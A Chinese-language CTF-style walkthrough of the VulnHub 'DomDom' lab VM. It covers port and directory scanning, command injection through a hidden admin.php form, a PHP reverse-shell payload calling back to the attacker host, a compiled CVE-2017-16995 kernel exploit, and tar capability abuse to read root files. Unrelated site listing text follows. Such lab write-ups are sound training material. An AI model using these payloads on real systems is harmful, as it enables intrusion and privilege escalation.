DomDom

下载地址：DomDom: 1 ~ VulnHub

1 信息收集

1.1 端口扫描

$ nmap -p - -T4 192.168.50.3 -oA domdom

Nmap scan report for test (192.168.50.3)

Host is up (0.00077s latency).

Not shown: 65534 closed tcp ports (conn-refused)

PORT   STATE SERVICE

80/tcp open  http

1.2 后台目录扫描

$ gobuster dir -u http://192.168.50.3 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

===============================================================

Gobuster v3.1.0

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url:                     http://192.168.50.3

[+] Method:                  GET

[+] Threads:                 10

[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

[+] Negative Status codes:   404

[+] User Agent:              gobuster/3.1.0

[+] Extensions:              php

[+] Timeout:                 10s

===============================================================

2022/04/01 20:09:53 Starting gobuster in directory enumeration mode

===============================================================

/index.php            (Status: 200) [Size: 694]

/admin.php            (Status: 200) [Size: 329]

/server-status        (Status: 403) [Size: 300]

===============================================================

2022/04/01 20:10:26 Finished

===============================================================

1.2.1 目录分析

  1. 在http://192.168.50.3/index.php没有发现什么东东：只知道会弹回用户名

  2. 在http://192.168.50.3/admin.php也没有发现什么东东，就是有个好像可以命令执行的地方，但并没有看到

  3. 有问题找度娘，发现可以将原来http://192.168.50.3/admin.php的GET请求改为POST请求。

  4. 当http://192.168.50.3/admin.php请求体为在http://192.168.50.3/index.php提交的内容时，响应内容中多了cmd

    1. 请求包

      POST /admin.php HTTP/1.1
      
Host: 192.168.50.3
      
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
      
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      
Accept-Encoding: gzip, deflate
      
Connection: close
      
Upgrade-Insecure-Requests: 1
      
DNT: 1
      
Sec-GPC: 1
      
Content-Type: application/x-www-form-urlencoded
      
Content-Length: 49

name=id&username=id&password=123456&access=access

    2. 响应包

      HTTP/1.1 200 OK
      
Date: Fri, 01 Apr 2022 11:48:21 GMT
      
Server: Apache/2.4.18 (Ubuntu)
      
Vary: Accept-Encoding
      
Content-Length: 320
      
Connection: close
      
Content-Type: text/html; charset=UTF-8

<html>
      
	<head>
      
		<title>
      
			DomDom
      
		</title>
      
	</head>
      
	<body>

			<form method="POST">
      
			<input type="text" name="cmd" id="cmd" size="200">
      
			<br>
      
			<br>
      
			<input type="submit" value="Execute">
      
		</form>
      
		<pre>
      
			</pre>
      
	</body>

	<script>
      
		document.getElementById("cmd").focus();
      
	</script>

		</body>
      
</html>

2 GetShell

2.1 尝试命令执行

  1. 在http://192.168.50.3/admin.php请求体中增加cmd参数：成功执行了命令

    1. 请求包

      POST /admin.php HTTP/1.1
      
Host: 192.168.50.3
      
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
      
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      
Accept-Encoding: gzip, deflate
      
Connection: close
      
Upgrade-Insecure-Requests: 1
      
DNT: 1
      
Sec-GPC: 1
      
Content-Type: application/x-www-form-urlencoded
      
Content-Length: 56

name=id&username=id&password=123456&access=access&cmd=id

    2. 响应包

      HTTP/1.1 200 OK
      
Date: Fri, 01 Apr 2022 11:58:19 GMT
      
Server: Apache/2.4.18 (Ubuntu)
      
Vary: Accept-Encoding
      
Content-Length: 383
      
Connection: close
      
Content-Type: text/html; charset=UTF-8

<html>
      
	<head>
      
		<title>
      
			DomDom
      
		</title>
      
	</head>
      
	<body>

			<form method="POST">
      
			<input type="text" name="cmd" id="cmd" size="200">
      
			<br>
      
			<br>
      
			<input type="submit" value="Execute">
      
		</form>
      
		<pre>
      
	uid=33(www-data) gid=33(www-data) groups=33(www-data),27(sudo)
      
		</pre>
      
	</body>

	<script>
      
		document.getElementById("cmd").focus();
      
	</script>

		</body>
      
</html>

2.2 nc反弹shell失败

POST /admin.php HTTP/1.1

Host: 192.168.50.3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 74

Origin: http://192.168.50.3

Connection: close

Referer: http://192.168.50.3/admin.php

Upgrade-Insecure-Requests: 1

DNT: 1

Sec-GPC: 1

name=id&username=id&password=123456&access=access&cmd=nc+192.168.50.2+2333

2.3 PHP反弹Shell

POST /admin.php HTTP/1.1

Host: 192.168.50.3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 146

Origin: http://192.168.50.3

Connection: close

Referer: http://192.168.50.3/admin.php

Upgrade-Insecure-Requests: 1

DNT: 1

Sec-GPC: 1

name=id&username=id&password=123456&access=access&cmd=php+-r+'$sock%3dfsockopen("192.168.50.2",2333)%3bexec("/bin/bash+-i+<%263+>%263+2>%263")%3b'

2.4 GetShell

$ nc -nvlp 2333

listening on [any] 2333 ...

connect to [192.168.50.2] from (UNKNOWN) [192.168.50.3] 59400

bash: cannot set terminal process group (1716): Inappropriate ioctl for device

bash: no job control in this shell

To run a command as administrator (user "root"), use "sudo <command>".

See "man sudo_root" for details.

www-data@ubuntu:/var/www/html$

2.5 切换python Shell

python3 -c "import pty;pty.spawn('/bin/bash')"

3 提权

3.1 收集当前系统信息

  1. 查看当前用户sudo权限：没有密码

    www-data@ubuntu:/var/www/html$ sudo -l
    
[sudo] password for www-data:

  2. 查看当前WEB应用程序目录下的文件

    www-data@ubuntu:/var/www/html$ ls
    
admin.php  index.php

  3. 查看/etc/passwd文件

    www-data@ubuntu:/var/www/html$ cat /etc/passwd
    
root:x:0:0:root:/root:/bin/bash
    
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    
bin:x:2:2:bin:/bin:/usr/sbin/nologin
    
sys:x:3:3:sys:/dev:/usr/sbin/nologin
    
sync:x:4:65534:sync:/bin:/bin/sync
    
games:x:5:60:games:/usr/games:/usr/sbin/nologin
    
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    
www-data:x:33:33:www-data:/var/www:/bin/bash
    
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
    
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
    
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
    
syslog:x:104:108::/home/syslog:/bin/false
    
_apt:x:105:65534::/nonexistent:/bin/false
    
messagebus:x:106:110::/var/run/dbus:/bin/false
    
uuidd:x:107:111::/run/uuidd:/bin/false
    
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
    
whoopsie:x:109:116::/nonexistent:/bin/false
    
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
    
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
    
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
    
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
    
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
    
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
    
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
    
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
    
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
    
saned:x:119:127::/var/lib/saned:/bin/false
    
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
    
domom:x:1000:1000:DomDom,,,:/home/domom:/bin/bash

  4. 查看是否存在提权漏洞：

    www-data@ubuntu:/var/www/html/linux-exploit-suggester-1.1$ ./linux-exploit-suggester.sh
    
[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
    
   Exposure: highly probable
    
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},[ ubuntu=16.04{kernel:4.4.0-21-generic} ]
    
   Download URL: https://www.exploit-db.com/download/40839
    
   ext-url: https://www.exploit-db.com/download/40847.cpp
    
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2017-16995] eBPF_verifier

   Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
    
   Exposure: highly probable
    
   Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
    
   Download URL: https://www.exploit-db.com/download/45010
    
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2016-8655] chocobo_root

   Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
    
   Exposure: highly probable
    
   Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
    
   Download URL: https://www.exploit-db.com/download/40871
    
   Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
    
   Exposure: highly probable
    
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
    
   Download URL: https://www.exploit-db.com/download/40611
    
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

  5. 利用CVE-2017-16995成功提权：

    # kali中编译提权脚本
    
wget https://www.exploit-db.com/download/45010
    
mv 45010 cve-2017-16995.c
    
gcc cve-2017-16995.c -o cve-2017-16995

# 将编译后的脚本cve-2017-16995上传到目标系统中
    
www-data@ubuntu:/var/www/html/linux-exploit-suggester-1.1$ scp kali@192.168.50.2:/home/kali/cve-2017-16995 .

3.3 提权

3.3.1 利用CVE-2017-16995提权

执行提权脚本成功提权

www-data@ubuntu:/var/www/html/linux-exploit-suggester-1.1$ ./cve-2017-16995

./cve-2017-16995

[.]

[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)

[.]

[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **

[.]

[*] creating bpf map

[*] sneaking evil bpf past the verifier

[*] creating socketpair()

[*] attaching bpf backdoor to socket

[*] skbuff => ffff880231b29600

[*] Leaking sock struct from ffff880232f63c00

[*] Sock->sk_rcvtimeo at offset 472

[*] Cred structure at ffff880231682540

[*] UID from cred structure: 33, matches the current: 33

[*] hammering cred structure at ffff880231682540

[*] credentials patched, launching shell...

# id

id

uid=0(root) gid=0(root) groups=0(root),27(sudo),33(www-data)

# python3 -c "import pty;pty.spawn('/bin/bash')"

root@ubuntu:/var/www/html/linux-exploit-suggester-1.1# cd ~

root@ubuntu:/root# ls

Ry{}LJRBS5nc+*V.#a

3.3.2 利用可执行文件的capabilities实现权限

  1. 查看当前系统的cap权限设置

    www-data@ubuntu:/tmp$ getcap -r / 2>/dev/null
    
/usr/bin/mtr = cap_net_raw+ep
    
/usr/bin/arping = cap_net_raw+ep
    
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
    
/usr/bin/traceroute6.iputils = cap_net_raw+ep
    
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
    
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
    
/bin/tar = cap_dac_read_search+ep

  2. 打包root家目录得到root的flag

    www-data@ubuntu:/tmp$ tar -cvf root.tar /root
    
tar: Removing leading `/' from member names
    
/root/
    
/root/.viminfo
    
/root/.nano/
    
/root/.bash_history
    
/root/.cache/
    
/root/.profile
    
/root/.bashrc
    
/root/Ry{}LJRBS5nc+*V.#a

  3. 打包domom家目录得到root密码

    www-data@ubuntu:/tmp$ tar -cvf domom.tar /home/domom/
    
www-data@ubuntu:/tmp/home/domom/Desktop$ cat README.md
    
Hi Dom, This is the root password:

Mj7AGmPR-m&Vf>Ry{}LJRBS5nc+*V.#a

  4. 成功登录到root

    www-data@ubuntu:/tmp/home/domom/Desktop$ su - root
    
su - root
    
Password: Mj7AGmPR-m&Vf>Ry{}LJRBS5nc+*V.#a

root@ubuntu:~# ls
    
Ry{}LJRBS5nc+*V.#a

DomDom的更多相关文章

  1. DomDom: 1 Vulnhub Walkthrough

    主机层面扫描: ╰─ nmap -p1-65535 -A -sV 10.10.202.140 You name 存在XSS 漏洞 右键源码有隐藏form表单 修改其type属性为:text 尝试了SQ ...

  2. JS高程3：DOM-DOM操作技术

    动态脚本 加载外部脚本 方式一,直接写代码: var script = document.createElement("script"); script.type = " ...

  3. React入门---属性(state)-7

    state------>虚拟dom------>dom 这个过程是自动的,不需要触发其他事件来调用它. state中文理解:页面状态的的一个值,可以存储很多东西. 学习state的使用: ...

  4. 10、QT分析之WebKit

    该文章整理自 网易博客 http://blog.163.com/net_worm/blog/static/12770241920101831312381/ 转载请注明出处 WebKit是QT4新整合的 ...

  5. QT分析之WebKit

    该文章整理自 网易博客 http://blog.163.com/net_worm/blog/static/12770241920101831312381/ 转载请注明出处 WebKit是QT4新整合的 ...

  6. webview综述

    nWebView 是webkit最核心的一个view,WebView管理WebFrameView和WebFrame之间的交互,一个WebView对象绑定一个window,并且要求MainFrame加载 ...

  7. vue问题整理

    生命周期面试题 1.什么是 vue 生命周期 vue 实例从创建到销毁的过程就是生命周期. 也就是从开始创建.初始化数据.编译模板.挂在 dom -> 渲染.更新 -> 渲染.卸载等一系列 ...

  8. jQuery学习笔记（1） 初识jQuery

    目录 目录 引用 注意 HelloWorldHelloWorld! jQueryjQuery对象和DOMDOM对象的相互转换 冲突的解决 引用 本地文件引用: <script src=" ...

随机推荐

  1. 【接口测试】Postman（一）--接口测试知识准备

    1.0 前言 ​ 应用程序编程接口(Application Programming Interface, API)是这些年来最流行的技术之一,强大的Web应用程序和领先的移动应用程序都离不开后端强大的 ...

  2. Android ViewPager2 + Fragment + BottomNavigationView 联动

    Android ViewPager2 + Fragment + BottomNavigationView 联动 本篇主要介绍一下 ViewPager2 + Fragment + BottomNavig ...

  3. Redis的常见应用场景

    缓存.分布式数据共享.setnx分布式锁.incrby全局id进行分库分表.计数器.限流(ip为key,计数超过阈值则返回false).购物车(hash,用户key-商品field-数量value). ...

  4. Dart开发服务端，我是不是发烧(骚)了？

    前言 最近一段时间,我和我的团队开发了两个 APP. 客户端方面采用了 Flutter,方便跨平台. 服务端方面剑走偏锋,没有采用 php, pythod, java之类的,而是采用了与 Flutte ...

  5. 静态文件配置 django连接MySQL django模型层初识 ORM基本语句

    目录 静态文件配置 1. 问题描述 2. 静态文件 3. 资源访问 form表单属性补充 action method 请求方法 get请求 post请求 views层 request对象 reques ...

  6. JavaSE流程学习图

  7. C/C++随堂笔记

    注释:行注释 块注释: (1)#if 0 #endif (2)/*     */ <>:表示系统文件 <stdlib.h>+syetem 调用windows中的程序 QT中 c ...

  8. [编程基础] Python随机数生成模块总结

    Python随机数生成模块教程演示如何在Python中生成伪随机数. 1 介绍 1.1 随机数字生成器 随机数生成器(RNG)生成一组在外观上不显示任何可区分模式的值.随机数生成器分为两类:硬件随机数 ...

  9. Kaliの一些网络操作

    KAlIの一些网络操作 arping -c 192.168.10.1 缺点是只能对单一ip进行探测,可利用shell脚本进行网段探测扫描 netdiscover -i eth0 -r 192.168. ...

  10. vivo 故障定位平台的探索与实践

    作者:vivo 互联网服务器团队- Liu Xin.Yu Dan 本文基于故障定位项目的实践,围绕根因定位算法的原理进行展开介绍.鉴于算法有一定的复杂度,本文通过图文的方式进行说明,希望即使是不懂技术 ...